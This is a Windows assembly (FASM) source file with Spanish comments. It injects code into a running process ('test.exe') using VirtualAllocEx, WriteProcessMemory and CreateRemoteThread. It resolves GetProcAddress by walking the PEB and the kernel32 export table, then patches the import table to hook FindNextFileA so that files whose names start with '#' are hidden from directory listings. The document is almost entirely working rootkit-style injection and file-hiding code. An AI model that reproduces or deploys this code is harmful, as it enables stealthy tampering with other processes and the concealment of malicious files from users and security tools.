include 'C:\fasm\include\win32ax.inc'
.code
proc start
locals
ProcessName db "test.exe",0
endl
stdcall Inyectar,addr ProcessName,FinFuncionHook-FuncionHook,FuncionHook,0,0
cmp eax,-1
je Salir
;ebx=hProcess
;eax=DirFuncion
mov esi,eax
add eax,FinFuncionHook-FuncionHook
sub eax,4
;Escribimos la dirección de GetProcAddress en la variable pGetProcAddress
invoke WriteProcessMemory,ebx,eax,GetProcAddress,4,0
stdcall Inyectar,addr ProcessName,FinParchearIAT-ParchearIAT,ParchearIAT,esi,1
cmp eax,-1
je Salir
invoke ExitProcess,0
Salir:
invoke MessageBoxA,0,"No se encontró el proceso!",0,0
invoke ExitProcess,0
endp
proc Inyectar,ProcessName,Tamaño,Funcion,Datos,bCrearHilo
locals
struct PROCESSENTRY32
dwSize dd ?
cntUsage dd ?
th32ProcessID dd ?
th32DefaultHeapID dd ?
th32ModuleID dd ?
cntThreads dd ?
th32ParentProcessID dd ?
pcPriClassBase dd ?
dwFlags dd ?
szExeFile rb MAX_PATH
ends
pInfo PROCESSENTRY32 ?
Handle dd ?
PID dd ?
DirFuncion dd ?
hProcess dd ?
endl
pushad
;Obtenemos el PID del proceso
invoke CreateToolhelp32Snapshot,0x00000002,0
mov [Handle],eax
mov eax,sizeof.PROCESSENTRY32
mov [pInfo.dwSize], eax
BuclePid:
invoke Process32Next,[Handle],addr pInfo
cmp eax,0
je FinProcBuclePID ;No hay más procesos
invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
cmp eax,0
jne BuclePid
jmp FinBuclePid
FinProcBuclePID:
invoke CloseHandle,[Handle]
popad
mov eax,-1
ret
FinBuclePid:
invoke CloseHandle,[Handle]
push [pInfo.th32ProcessID]
pop [PID]
;Lazamos el proceso
invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
mov [hProcess],eax
;Reservamos espacio en el proceso
invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax
;Escribimos los datos en memoria
invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
;Creamos el hilo si se espacificó que si
cmp [bCrearHilo],0
je retornar
invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
retornar:
popad
mov eax,[DirFuncion]
mov ebx,[hProcess]
ret
endp
proc ParchearIAT,DirFuncion
locals
BaseKernel32 dd ?
BaseExe dd ?
IT dd ?
Contador dd 0
OriginalProtection dd ?
Lib1 dd "KERN"
Lib2 dd "kern"
ET dd ?
pGetProcAddress dd ?
endl
;Leemos el PEB para obtener la base de KERNEL32.DLL
mov eax,[fs:0x30]
mov eax,[eax+0x0C]
mov eax,[eax+0x1C]
mov eax,[eax]
mov eax,[eax+0x08]
mov [BaseKernel32],eax
;Buscamos la dirección de GetProcAddress en KERNEL32.DLL
;Vamos al PE
mov eax,dword[eax+0x3C]
add eax,[BaseKernel32]
;Vamos a la Export Table
mov eax,dword[eax+0x78]
add eax,[BaseKernel32]
mov [ET],eax
;Vamos al AddressOfNames
mov eax,dword[eax+0x20]
add eax,[BaseKernel32]
mov edi,eax
xor ecx,ecx
BucleApiE:
mov ebx,dword[edi]
add ebx,[BaseKernel32]
cmp dword[ebx],"GetP"
jne siguiente
cmp dword[ebx+4],"rocA"
je Encontrado
siguiente:
add edi,4
inc ecx
jmp BucleApiE
Encontrado: ;ecx=numero api=GetProcAddress
; Obtenemos el ordinal de GetProcAddress
mov eax,[ET]
mov ebx,dword[eax+0x24]
add ebx,[BaseKernel32]
rol ecx,1 ; ecx*2
add ebx,ecx
; Obtenemos la dirección de GetProcAdress
xor ecx,ecx
movzx ecx,word[ebx]
rol ecx,2
mov eax,[ET]
mov eax,dword[eax+0x1C]
add eax,[BaseKernel32]
add eax,ecx
mov eax,dword[eax]
add eax,[BaseKernel32]
mov [pGetProcAddress],eax
;Leemos el PEB para obtener la base del Exe
mov eax,[fs:0x30]
mov eax,[eax+0x08]
mov [BaseExe],eax
mov eax,dword[eax+0x3C] ;Vamos al PE
add eax,[BaseExe]
mov eax,dword[eax+0x80] ;Vamos a la Import Table
add eax,[BaseExe]
mov [IT],eax
BucleLib:
mov eax,[IT]
add eax,12 ;
add eax,[Contador]
mov eax,dword[eax]
add eax,[BaseExe]
mov ebx,eax
mov eax,[Lib1]
cmp dword[ebx],eax
je EncontradaKernel32
mov eax,[Lib2]
cmp dword[ebx],eax
je EncontradaKernel32
add [Contador],20
jmp BucleLib
EncontradaKernel32:
mov eax,[IT]
add eax,[Contador]
add eax,16 ;FirstThunk
mov ebx,dword [eax] ;Vamos a la IAT de Kernel32.dll
add ebx,[BaseExe]
BucleApi:
stdcall [pGetProcAddress],[BaseKernel32],"FindNextFileA"
cmp dword[ebx],eax
je CambiarPuntero
add ebx,4
jmp BucleApi
CambiarPuntero:
;Damos permisos a la dirección para poder cambiar el puntero
stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
stdcall eax,ebx,4,PAGE_EXECUTE_READWRITE,addr OriginalProtection
;Cambiamos el puntero por el de nuestra funcion
mov eax,[DirFuncion]
mov dword[ebx],eax
ret
endp
FinParchearIAT:
;Función a la que salta el programa cuando se llama a la API hookeada
proc FuncionHook,hFindFile,lpFindFileData
Volver:
;Obtenemos el delta offset
call delta2
delta2:
pop edx
sub edx,delta2
;Obtenemos la dirección de GetProcAddress
mov ecx,edx
add ecx,pGetProcAddress
mov ecx,dword[ecx]
;Leemos el PEB para obtener la base de KERNEL32.DLL
mov eax,[fs:0x30]
mov eax,[eax+0x0C]
mov eax,[eax+0x1C]
mov eax,[eax]
mov eax,[eax+0x08]
mov ebx,edx
add ebx,NombreApi
push ebx ;Puseamos la dirécción de NombreApi
push eax ;Pusheamos la dirección base de KERNEL32.DLL
call ecx
mov ecx,eax
;Llamamos a la api
push [lpFindFileData]
push [hFindFile]
call ecx
cmp eax,0
je Retornar
mov ebx,[lpFindFileData]
add ebx,44
cmp byte[ebx],'#'
jne Retornar
jmp Volver
Retornar:
ret
endp
NombreApi db "FindNextFileA",0
pGetProcAddress dd ?
FinFuncionHook:
.end start
////////////////
|